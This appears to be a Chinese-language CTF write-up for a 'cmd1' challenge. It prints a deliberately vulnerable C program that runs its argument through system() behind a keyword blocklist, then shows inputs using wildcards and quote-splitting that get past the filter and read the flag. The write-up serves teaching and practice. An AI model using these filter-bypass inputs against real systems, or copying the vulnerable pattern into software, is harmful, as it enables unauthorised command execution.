一、分析
cmd1.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #include <stdio.h> #include <string.h>
int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/thankyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; }
|
二、利用
程序很清楚,就是命令行参数不能出现这3个字符串,但是又希望cat flag
,因此可以探索有什么方式可以出现这几个字符串同样可以达到同样的效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| $ which cat /bin/cat
$ echo "f""l""a""g" flag
$ cat cmd1.*
int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/thankyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; }
|
因此可以有两种思路来输入命令行参数:
1 2 3 4 5
| cmd1@prowl:~$ ./cmd1 '/bin/cat fla*' mommy now I get what PATH environment is for :)
cmd1@prowl:~$ ./cmd1 "/bin/cat \"f\"\"l\"\"a\"\"g\"" mommy now I get what PATH environment is for :)
|